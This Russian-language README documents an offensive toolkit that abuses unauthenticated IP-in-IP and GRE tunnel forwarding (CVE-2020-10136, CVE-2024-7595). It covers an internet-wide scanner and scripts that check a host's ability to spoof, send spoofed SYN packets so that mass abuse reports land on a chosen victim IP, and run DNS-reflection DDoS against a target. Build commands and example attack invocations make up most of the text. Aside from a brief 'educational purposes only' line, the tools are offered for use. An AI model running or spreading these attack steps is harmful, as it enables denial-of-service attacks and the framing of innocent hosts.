
Сканер и набор инструментов для атак на хосты, которые пересылают непроверенные пакеты через протоколы IPIP и GRE. (CVE-2020-10136 CVE-2024-7595)

Сканер и набор инструментов для атаки на хосты в общедоступном интернете (в основном маршрутизаторы Cisco), которые пересылают неаутентифицированные пакеты, инкапсулированные в протоколах IP-in-IP и GRE.
Эта уязвимость, известная как «Небезопасная реализация туннельных протоколов», отслеживается под идентификаторами CVE-2020-10136 и CVE-2024-7595. Она позволяет отправлять (но не принимать) любые IP-пакеты с затронутых хостов.
На первый взгляд, возможность отправлять, но не принимать пакеты может показаться бесполезной. Однако многие из затронутых хостов находятся в сетях, которые не реализуют обратную фильтрацию пути (reverse-path filtering). Это означает, что вы можете подделывать IP-адреса в общедоступном интернете, используя эти уязвимости, без необходимости иметь хост, лишённый проверки адреса отправителя (обычно называемый IP Header Modification или IPHM), для проведения атак, таких как DNS-амплификация в распределённых атаках типа «отказ в обслуживании» (DDoS).
Этот инструмент предназначен только для образовательных целей.
Инструмент не включает сканирование аналогичных уязвимостей в протоколах 6in4 и IP6IP6, поскольку IPv6 не является реальным протоколом, используемым серьёзными людьми.
cd scanner/
cargo build --release
sudo ./target/release/ipeeyoupeewepee <source_ip> <src_port> <rate_limit> <protocol_type (GRE|IPIP)>
Параметры:
<source_ip>: Ваш общедоступный IPv4-адрес, с которого производится сканирование.<src_port>: UDP-порт, на котором сканер будет слушать пересылаемые пакеты. Убедитесь, что этот порт открыт в вашем межсетевом экране.<rate_limit>: Ограничение скорости отправки пакетов в пакетах в секунду (например, 1000).<protocol_type>: Инкапсулирующий протокол для сканирования: GRE или IPIP.Чтобы использовать набор инструментов, расположенный в каталоге tools/, убедитесь, что у вас установлены python3 и scapy. В качестве альтернативы вы можете выполнить poetry install и poetry shell от root в каталоге tools/, чтобы настроить и получить доступ к виртуальному окружению.
Этот скрипт проверяет, способен ли уязвимый хост пересылать поддельные IP-пакеты.
sudo python3 can_i_spoof.py <source_ip> <source_port> <tunnel_ip> <spoof_ip> <protocol (GRE|IPIP)>
Параметры:
<source_ip>: Ваш общедоступный IPv4-адрес, с которого производится сканирование.<source_port>: UDP-порт для прослушивания пересылаемых пакетов.<tunnel_ip>: IP-адрес уязвимого хоста IPIP или GRE.<spoof_ip>: IP-адрес, который вы намерены подделать.<protocol>: Инкапсулирующий протокол для эксплуатации: GRE или IPIP.Пример использования:
Если IP-адрес вашей машины — 192.0.2.42, и у вас открыт UDP-порт 31337 в межсетевом экране, и вы нашли уязвимый GRE-хост 198.51.100.25, вы можете проверить, может ли он подделать IP-адрес 203.0.113.23, с помощью следующей команды:
sudo python3 can_i_spoof.py 192.0.2.42 31337 198.51.100.25 203.0.113.23 GRE
Этот скрипт использует уязвимый хост туннелирования GRE или IPIP для отправки поддельных TCP SYN-пакетов на порт 22 случайных хостов по всему интернету, с целью генерации массовых жалоб на злоупотребление (abuse reports) против указанного целевого IP-адреса.
sudo python3 abuse_honeypot.py <tunnel_ip> <spoof_ip> <protocol (GRE|IPIP)>
Параметры:
<tunnel_ip>: IP-адрес уязвимого хоста IPIP или GRE.<spoof_ip>: IP-адрес, который вы намерены подделать.<protocol>: Инкапсулирующий протокол для эксплуатации: GRE или IPIP.Пример использования:
Если вы нашли уязвимый GRE-хост 198.51.100.25 и хотите подделать TCP SYN-пакеты на порт 22 с IP-адреса 203.0.113.23, вы можете выполнить следующую команду:
sudo python3 abuse_honeypot.py 198.51.100.25 203.0.113.23 GRE
Этот скрипт использует уязвимые хосты туннелирования GRE или IPIP для отражения DNS-ответов обратно на указанную цель, демонстрируя метод выполнения атаки типа «отражение DNS» в распределённых атаках «отказ в обслуживании» (DNS reflection DDoS). Этот пример является базовым и, вероятно, может быть улучшен для достижения большего усиления и скорости пакетов; любые улучшения оставляются читателю в качестве упражнения.
sudo python3 dns_reflect.py <tunnel_ips.txt> <dns_resolvers.txt> <spoof_ip>
Параметры:
<tunnel_ips.txt>: Файл, содержащий список IP-адресов уязвимых хостов IPIP или GRE.<dns_resolvers.txt>: Файл, содержащий список DNS-резолверов для отражения ответов обратно на цель.<spoof_ip>: IP-адрес, который вы намерены подделать.Пример использования:
Чтобы начать атаку на IP-адрес 203.0.113.23, вы должны выполнить следующую команду:
sudo python3 dns_reflect.py tunnel_ips.txt dns_resolvers.txt 203.0.113.23
В этом примере файл tunnel_ips.txt должен содержать список уязвимых хостов IPIP или GRE, с указанием протокола в начале каждой строки, отформатированный следующим образом:
GRE 198.51.100.25
IPIP 198.51.100.45
GRE 198.51.100.124
GRE 198.51.100.200
IPIP 198.51.100.3
[...]
А файл dns_resolvers.txt должен содержать список общедоступных рекурсивных DNS-резолверов, отформатированный так:
9.9.9.9
8.8.8.8
1.1.1.1
[...]